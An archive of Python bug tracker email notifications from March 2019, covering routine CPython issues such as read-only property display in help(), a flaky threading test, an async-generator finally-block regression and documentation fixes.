In-Reply-To: <1545172472.78.0.788709270274.issue35528@psf.upfronthosting.co.za>
Message-ID: <1553281013.43.0.230426166541.issue35528@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35528>
_______________________________________

From report at bugs.python.org  Fri Mar 22 17:11:33 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 21:11:33 +0000
Subject: [issue36326] Build-out help() to read __slots__ with an optional data
 dictionary
In-Reply-To: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>
Message-ID: <1553289093.66.0.144478847982.issue36326@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
pull_requests: +12448
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Fri Mar 22 17:12:50 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 21:12:50 +0000
Subject: [issue36326] Teach inpsect.getdoc() to read __slots__ with an
 optional data dictionary
In-Reply-To: <1552817476.02.0.169886885887.issue36326@roundup.psfhosted.org>
Message-ID: <1553289170.41.0.240129711813.issue36326@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
title: Build-out help() to read __slots__ with an optional data dictionary -> Teach inpsect.getdoc() to read __slots__ with an optional data dictionary

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36326>
_______________________________________

From report at bugs.python.org  Fri Mar 22 17:49:57 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 22 Mar 2019 21:49:57 +0000
Subject: [issue35155] Clarify Protocol Handlers in urllib.request Docs
In-Reply-To: <1541286673.86.0.788709270274.issue35155@psf.upfronthosting.co.za>
Message-ID: <1553291397.4.0.355243810455.issue35155@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset dd7c4ceed90792f711347024852d4cf883a9ab9e by Miss Islington (bot) (Denton Liu) in branch 'master':
bpo-35155: clarify protocol handler method naming (GH-10313)
https://github.com/python/cpython/commit/dd7c4ceed90792f711347024852d4cf883a9ab9e


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35155>
_______________________________________

From report at bugs.python.org  Fri Mar 22 17:51:41 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Fri, 22 Mar 2019 21:51:41 +0000
Subject: [issue35900] Add pickler hook for the user to customize the
 serialization of user defined functions and types.
In-Reply-To: <1549377622.96.0.737929222958.issue35900@roundup.psfhosted.org>
Message-ID: <1553291501.24.0.557450408326.issue35900@roundup.psfhosted.org>


Change by Pierre Glaser <pierreglaser at msn.com>:


----------
pull_requests: +12449
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35900>
_______________________________________

From report at bugs.python.org  Fri Mar 22 18:16:52 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 22 Mar 2019 22:16:52 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1553293012.47.0.721963277749.issue36298@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 5086589305ff5538709856b27314b68f06ae93db by Miss Islington (bot) (Brett Cannon) in branch 'master':
bpo-36298: Raise ModuleNotFoundError in pyclbr when a module can't be found (GH-12358)
https://github.com/python/cpython/commit/5086589305ff5538709856b27314b68f06ae93db


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Fri Mar 22 18:23:43 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Mar 2019 22:23:43 +0000
Subject: [issue36396] Remove fgBg param of idlelib.config.GetHighlight()
In-Reply-To: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>
Message-ID: <1553293423.15.0.651362627064.issue36396@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset c1419578a18d787393c7ccee149e7c1fff17a99e by Terry Jan Reedy in branch 'master':
bpo-36396: Remove fgBg param of idlelib.config.GetHighlight() (GH-12491)
https://github.com/python/cpython/commit/c1419578a18d787393c7ccee149e7c1fff17a99e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Fri Mar 22 18:24:04 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 22 Mar 2019 22:24:04 +0000
Subject: [issue36396] Remove fgBg param of idlelib.config.GetHighlight()
In-Reply-To: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>
Message-ID: <1553293444.5.0.413383788348.issue36396@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12450
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Fri Mar 22 18:43:03 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 22 Mar 2019 22:43:03 +0000
Subject: [issue36396] Remove fgBg param of idlelib.config.GetHighlight()
In-Reply-To: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>
Message-ID: <1553294583.49.0.527479970571.issue36396@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 2d7798ad12456e137b3e3bc82a9824d0d3d45af0 by Miss Islington (bot) in branch '3.7':
bpo-36396: Remove fgBg param of idlelib.config.GetHighlight() (GH-12491)
https://github.com/python/cpython/commit/2d7798ad12456e137b3e3bc82a9824d0d3d45af0


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Fri Mar 22 18:51:32 2019
From: report at bugs.python.org (Denton Liu)
Date: Fri, 22 Mar 2019 22:51:32 +0000
Subject: [issue35155] Clarify Protocol Handlers in urllib.request Docs
In-Reply-To: <1541286673.86.0.788709270274.issue35155@psf.upfronthosting.co.za>
Message-ID: <1553295092.34.0.899323911436.issue35155@roundup.psfhosted.org>


Change by Denton Liu <liu.denton at gmail.com>:


----------
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35155>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:17:05 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Mar 2019 23:17:05 +0000
Subject: [issue36396] Remove fgBg param of idlelib.config.GetHighlight()
In-Reply-To: <1553222343.66.0.774107223699.issue36396@roundup.psfhosted.org>
Message-ID: <1553296625.21.0.371069708151.issue36396@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36396>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:17:42 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 23:17:42 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
Message-ID: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

It is common to create read-only properties with the '@property' decoration but the existing help() output doesn't annotate them as such.

One way to go is to annotate each one separately:

 |  ----------------------------------------------------------------------
 |  Data descriptors inherited from _IPAddressBase:
 |  
 |  compressed (read-only property)             <== NEW ANNOTATION
 |      Return the shorthand version of the IP address as a string.
 |  
 |  exploded (read-only property)               <== NEW ANNOTATION
 |      Return the longhand version of the IP address as a string.
 |  
 |  reverse_pointer (read-only property)        <== NEW ANNOTATION
 |      The name of the reverse DNS pointer for the IP address, e.g.:
 |      >>> ipaddress.ip_address("127.0.0.1").reverse_pointer
 |      '1.0.0.127.in-addr.arpa'
 |      >>> ipaddress.ip_address("2001:db8::1").reverse_pointer
 |      '1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa'


Another way to go is to break the data descriptor section into two sections --- isolate those that define __set__ or __delete__ from those that don't.

For example, given this code:

    class A:
        'Variety of descriptors and method'

        __slots__ = '_w', '_x'

        def __init__(self, w: int, x: str):
            'initializer'
            self.w = w
            self.x = x

        @classmethod
        def cm(cls, u):
            'do something with u'
            return cls(u * 4)

        @staticmethod
        def sm(v):
            'do something with v'
            return v * 3

        @property
        def rop(self):
            'computed field'
            return self._w * 2

        @property
        def wandr(self):
            'managed attribute'
            return self._w

        @wandr.setter
        def wandr(self, w):
            self._w = w


Produce this help output:

Help on class A in module __main__:

    class A(builtins.object)
     |  A(w: int, x: str)
     |  
     |  Variety of descriptors and method
     |  
     |  Methods defined here:
     |  
     |  __init__(self, w: int, x: str)
     |      initializer
     |  
     |  ----------------------------------------------------------------------
     |  Class methods defined here:
     |  
     |  cm(u) from builtins.type
     |      do something with u
     |  
     |  ----------------------------------------------------------------------
     |  Static methods defined here:
     |  
     |  sm(v)
     |      do something with v
     |  
     |  ----------------------------------------------------------------------
     |  Read-only descriptors defined here:        <== NEW HEADING
     |  
     |  rop
     |      computed field
     |  
     |  ----------------------------------------------------------------------
     |  Mutable data descriptors defined here:     <== NEW HEADING AND SECTION    
     |  
     |  wandr
     |      managed attribute

----------
components: Library (Lib)
messages: 338621
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Readonly properties should be marked as such in help()
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:18:24 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 22 Mar 2019 23:18:24 +0000
Subject: [issue36402] test_threading: test_threads_join_2() failed with "Fatal
 Python error: Py_EndInterpreter: not the last thread" on AMD64 FreeBSD
 CURRENT Shared 3.x
Message-ID: <1553296704.08.0.921014854557.issue36402@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

https://buildbot.python.org/all/#/builders/168/builds/801

0:23:17 load avg: 5.00 [334/420/1] test_threading crashed (Exit code -6) -- running: test_tools (8 min 42 sec), test_multiprocessing_spawn (5 min 41 sec), test_zipfile (30 sec 787 ms)
Fatal Python error: Py_EndInterpreter: not the last thread

Current thread 0x0000000800acd000 (most recent call first):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/support/__init__.py", line 2778 in run_in_subinterp
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/test/test_threading.py", line 917 in test_threads_join_2
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current/build/Lib/unittest/case.py", line 642 in run
  ...

The test crashed once, but then passed when run again in verbose mode ("Re-running test 'test_threading' in verbose mode").

----------
components: Tests
messages: 338622
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_threading: test_threads_join_2() failed with "Fatal Python error: Py_EndInterpreter: not the last thread" on AMD64 FreeBSD CURRENT Shared 3.x
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36402>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:20:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 22 Mar 2019 23:20:28 +0000
Subject: [issue36402] test_threading: test_threads_join_2() failed with "Fatal
 Python error: Py_EndInterpreter: not the last thread" on AMD64 FreeBSD
 CURRENT Shared 3.x
In-Reply-To: <1553296704.08.0.921014854557.issue36402@roundup.psfhosted.org>
Message-ID: <1553296828.16.0.344819441385.issue36402@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

As far as I remember, test_threads_join_2() was already unstable.

I created this issue to try to track if it's a regression or not.

If it's a regression, I would suggest to have a look at Eric Snow's recent commits.

At this point, I simply have no idea if the test fails exactly one in the lifetime of the buildbot worker, or if it started to fail frequently on this FreeBSD buildbot.

----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36402>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:24:14 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Fri, 22 Mar 2019 23:24:14 +0000
Subject: [issue35155] Clarify Protocol Handlers in urllib.request Docs
In-Reply-To: <1541286673.86.0.788709270274.issue35155@psf.upfronthosting.co.za>
Message-ID: <1553297054.2.0.436389495137.issue35155@roundup.psfhosted.org>


Senthil Kumaran <senthil at uthcode.com> added the comment:

We could backport this to older versions too. This documentation change is helpful, and backporting this will help with future backport patches against these files.

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35155>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:24:36 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 22 Mar 2019 23:24:36 +0000
Subject: [issue35155] Clarify Protocol Handlers in urllib.request Docs
In-Reply-To: <1541286673.86.0.788709270274.issue35155@psf.upfronthosting.co.za>
Message-ID: <1553297076.69.0.31235584434.issue35155@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12451
stage: resolved -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35155>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:24:47 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 22 Mar 2019 23:24:47 +0000
Subject: [issue35155] Clarify Protocol Handlers in urllib.request Docs
In-Reply-To: <1541286673.86.0.788709270274.issue35155@psf.upfronthosting.co.za>
Message-ID: <1553297087.11.0.676913260401.issue35155@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12452

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35155>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:30:07 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 22 Mar 2019 23:30:07 +0000
Subject: [issue35155] Clarify Protocol Handlers in urllib.request Docs
In-Reply-To: <1541286673.86.0.788709270274.issue35155@psf.upfronthosting.co.za>
Message-ID: <1553297407.0.0.530217808729.issue35155@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 868581ee7687ad25af70c0cb9cd6a0f2077e6422 by Miss Islington (bot) in branch '3.7':
bpo-35155: clarify protocol handler method naming (GH-10313)
https://github.com/python/cpython/commit/868581ee7687ad25af70c0cb9cd6a0f2077e6422


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35155>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:30:25 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 22 Mar 2019 23:30:25 +0000
Subject: [issue36311] Flaw in Windows code page decoder for large input
In-Reply-To: <1552723600.79.0.686719955113.issue36311@roundup.psfhosted.org>
Message-ID: <1553297425.6.0.165348572243.issue36311@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I have 24G if all working and would be willing to try to run a test case.

----------
nosy: +terry.reedy
stage:  -> test needed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36311>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:33:11 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 22 Mar 2019 23:33:11 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
In-Reply-To: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>
Message-ID: <1553297591.74.0.51904377486.issue36401@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

For property objects, we have to look at *fset* and *fdel* to find-out whether they are assignable:

    >>> A.rop.fset is None
    True
    >>> A.wandr.fset is None
    False

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:38:26 2019
From: report at bugs.python.org (Marco Rougeth)
Date: Fri, 22 Mar 2019 23:38:26 +0000
Subject: [issue36322] Argument typo in dbm.ndbm.open
In-Reply-To: <1552767909.74.0.734583361576.issue36322@roundup.psfhosted.org>
Message-ID: <1553297906.4.0.427226644.issue36322@roundup.psfhosted.org>


Change by Marco Rougeth <marco at rougeth.com>:


----------
keywords: +patch
pull_requests: +12453
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36322>
_______________________________________

From report at bugs.python.org  Fri Mar 22 19:42:42 2019
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 22 Mar 2019 23:42:42 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553298162.99.0.226360297402.issue36370@roundup.psfhosted.org>


Change by Stefan Krah <stefan at bytereef.org>:


----------
keywords: +patch
pull_requests: +12454
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:00:48 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sat, 23 Mar 2019 00:00:48 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
In-Reply-To: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>
Message-ID: <1553299248.22.0.409457344303.issue36401@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@Raymond

+1 

but can we do the same thing with the PyGetSetDef declaration for the C Part?

----------
nosy: +matrixise

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:02:46 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 00:02:46 +0000
Subject: [issue36322] Argument typo in dbm.ndbm.open
In-Reply-To: <1552767909.74.0.734583361576.issue36322@roundup.psfhosted.org>
Message-ID: <1553299366.73.0.0240673215589.issue36322@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I have trouble understanding this post.  The parameter name is 'flag', not 'flags' and there are no typos, including in ndbm.  The parameter name is singular because there is basically one flag with 4 possible values to indicate how to open.  The fact that gdbm has optional subflags does not require changing the name and I think it better to keep the documented API the same.

The only time 'flags' appears is in "Not all flags are valid for all versions of gdbm. The module constant open_flags is a string of supported flag characters."  Here, 'flags' refers to the multiple possible values for the 'flag' argument, not the argument itself.

I think that this issue and the PR should be closed.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36322>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:15:07 2019
From: report at bugs.python.org (Ask Solem)
Date: Sat, 23 Mar 2019 00:15:07 +0000
Subject: [issue36403] AsyncIterator on 3.7: __aiter__ no longer honors finally
 blocks
Message-ID: <1553300107.21.0.160175909039.issue36403@roundup.psfhosted.org>


New submission from Ask Solem <ask at celeryproject.org>:

We use finally blocks in ``__aiter__`` like this:

```
class AsyncFinallyIterator:

   def __aiter__(self):
       for i in range(10):
           try:
               yield i
           finally:
               print('FINALLY')
```

Attached is a test for both iterators and async iterators.
The tests pass on Python 3.6, but only the non-async iterator test pass under Python 3.7.

Thanks for your attention!


This worked perfectly well in Python 3.6, but stopped working in Python 3.7.

I also verified that Iterator supports the same construct (and this works in both Python 3.6 and 3.7):

```

class FinallyIterator:

    def __iter__(self):
        for i in range(10):
            try:
                yield i
            finally:
                print('FINALLY')
```

----------
files: test_iterators_and_finally_blocks.py
keywords: 3.7regression
messages: 338630
nosy: asksol
priority: normal
severity: normal
status: open
title: AsyncIterator on 3.7: __aiter__ no longer honors finally blocks
versions: Python 3.7
Added file: https://bugs.python.org/file48229/test_iterators_and_finally_blocks.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36403>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:16:53 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sat, 23 Mar 2019 00:16:53 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553300213.31.0.456921746608.issue36345@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi @mdk and @brett

with your suggestions, I will move the serve.py in the documentation of wsgiref and change Doc/Makefile.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:17:59 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 23 Mar 2019 00:17:59 +0000
Subject: [issue27464] Document that SplitResult & friends are namedtuples
In-Reply-To: <1467934956.52.0.328129985005.issue27464@psf.upfronthosting.co.za>
Message-ID: <1553300279.74.0.987086126674.issue27464@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

Suggest merging this with Issue 31822, which seems to have more progress, and where Raymond also seems to be involed.

----------
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> Document that urllib.parse.{Defrag,Split,Parse}Result are namedtuples

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27464>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:24:40 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 00:24:40 +0000
Subject: [issue36286] Random failure in test_idle
In-Reply-To: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>
Message-ID: <1553300680.13.0.508291422684.issue36286@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

#36389 appears to be a similar failure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:24:52 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 00:24:52 +0000
Subject: [issue36403] AsyncIterator on 3.7: __aiter__ no longer honors finally
 blocks
In-Reply-To: <1553300107.21.0.160175909039.issue36403@roundup.psfhosted.org>
Message-ID: <1553300692.22.0.318156359666.issue36403@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36403>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:25:28 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 00:25:28 +0000
Subject: [issue36339] test_ttk_guionly: test_traversal() fails randomly on
 AMD64 Windows8.1 Refleaks 2.7
In-Reply-To: <1552899428.95.0.891639199681.issue36339@roundup.psfhosted.org>
Message-ID: <1553300728.43.0.306088607052.issue36339@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

My guess is that the failure is in event_generate(key), as in #36286.  If so, this is a duplicate of the latter.

How often have you seen a failure?  For event_generate('<Key-Down>'), etc, the failure time in my test script varies from 1000 to 100_000 tries and there have been no build-bot failures reported to me.

Now that I can make the failure happen, I still need to experiment with trying to stop it.

----------
nosy: +serhiy.storchaka, terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36339>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:31:15 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 00:31:15 +0000
Subject: [issue36354] Use CreateProcessW for Python 2.7 on Windows.
In-Reply-To: <1552931150.38.0.949997697038.issue36354@roundup.psfhosted.org>
Message-ID: <1553301075.03.0.107086723529.issue36354@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Is CreateProcessW already used in current 3.x?

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36354>
_______________________________________

From report at bugs.python.org  Fri Mar 22 20:53:20 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 23 Mar 2019 00:53:20 +0000
Subject: [issue33319] `subprocess.run` documentation doesn't tell is using
 `stdout=PIPE` safe
In-Reply-To: <1524229514.84.0.682650639539.issue33319@psf.upfronthosting.co.za>
Message-ID: <1553302400.77.0.246231614541.issue33319@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

This is a regression in the 3.7+ documentation. It previously said ?To [capture output], pass PIPE for the ?stdout? and/or ?stderr? arguments?. This was removed by Bo Bayles in Issue 32102.

----------
keywords: +3.7regression
nosy: +bbayles, gregory.p.smith, martin.panter
stage:  -> needs patch
versions: +Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33319>
_______________________________________

From report at bugs.python.org  Fri Mar 22 21:01:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 23 Mar 2019 01:01:14 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553302874.48.0.339358626855.issue36345@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> with your suggestions, I will move the serve.py in the documentation of wsgiref and change Doc/Makefile.

I suggest to write two separated PRs for each change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Fri Mar 22 21:02:15 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 23 Mar 2019 01:02:15 +0000
Subject: [issue36403] AsyncIterator on 3.7: __aiter__ no longer honors finally
 blocks
In-Reply-To: <1553300107.21.0.160175909039.issue36403@roundup.psfhosted.org>
Message-ID: <1553302935.74.0.96764806759.issue36403@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

The attached script fails on master too. On bisecting could this be possibly caused due to 41e5ec377b (bpo-34769) ? Tagging Ned since it was introduced from 3.7.1rc2 and also backported to 3.6 .

?  cpython git:(41e5ec377b) git checkout 41e5ec377b && make -s -j4 > /dev/null
HEAD is now at 41e5ec377b bpo-34769: Thread safety for _asyncgen_finalizer_hook(). (GH-9716)
?  cpython git:(41e5ec377b) ./python.exe ../backups/bpo36403.py
F.
======================================================================
FAIL: test_main (__main__.TestAsyncIteratorFinally)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "../backups/bpo36403.py", line 30, in test_main
    self.assertTrue(it.finally_executed)
AssertionError: False is not true

----------------------------------------------------------------------
Ran 2 tests in 0.002s

FAILED (failures=1)
?  cpython git:(41e5ec377b) git checkout 41e5ec377b~1 && make -s -j4 > /dev/null
Previous HEAD position was 41e5ec377b bpo-34769: Thread safety for _asyncgen_finalizer_hook(). (GH-9716)
HEAD is now at 0ce31d340b bpo-32962: Fix test_gdb failure in debug build with -mcet -fcf-protection -O0 (GH-9656)
?  cpython git:(0ce31d340b) ./python.exe ../backups/bpo36403.py
..
----------------------------------------------------------------------
Ran 2 tests in 0.003s

OK

----------
components: +asyncio
nosy: +asvetlov, ned.deily, twisteroid ambassador, xtreak
type:  -> behavior
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36403>
_______________________________________

From report at bugs.python.org  Fri Mar 22 21:14:57 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 23 Mar 2019 01:14:57 +0000
Subject: [issue36401] Readonly properties should be marked as such in help()
In-Reply-To: <1553296662.49.0.800061565296.issue36401@roundup.psfhosted.org>
Message-ID: <1553303697.48.0.0510841298512.issue36401@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> but can we do the same thing with the PyGetSetDef declaration 
> for the C Part?

The would likely take an API change.  For now, using only what is already exposed in Python, we can only partition data descriptors in two groups:

* Known to be readonly because __set__ is missing or fset is None
* Possibly writeable, can't really tell until __set__ is called

Example in the latter category,  

    >>> t = time.localtime()
    >>> hasattr(type(t).tm_sec, '__set__')
    True
    >>> t.tm_sec = 31
    Traceback (most recent call last):
      File "<pyshell#23>", line 1, in <module>
         t.tm_sec = 31
    AttributeError: readonly attribute

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36401>
_______________________________________

From report at bugs.python.org  Fri Mar 22 21:17:06 2019
From: report at bugs.python.org (GUIHOT Xavier)
Date: Sat, 23 Mar 2019 01:17:06 +0000
Subject: [issue30670] pprint for dict in sorted order or insert order?
In-Reply-To: <1497492955.33.0.313949068523.issue30670@psf.upfronthosting.co.za>
Message-ID: <1553303826.78.0.755414539268.issue30670@roundup.psfhosted.org>


Change by GUIHOT Xavier <x.guihot at gmail.com>:


----------
pull_requests: +12455

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30670>
_______________________________________

From report at bugs.python.org  Fri Mar 22 22:05:05 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 23 Mar 2019 02:05:05 +0000
Subject: [issue36404] Document PendingDeprecationWarning as deprecated
Message-ID: <1553306705.24.0.738748021192.issue36404@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
nosy: inada.naoki
priority: normal
severity: normal
status: open
title: Document PendingDeprecationWarning as deprecated
versions: Python 3.8

_______________________________________
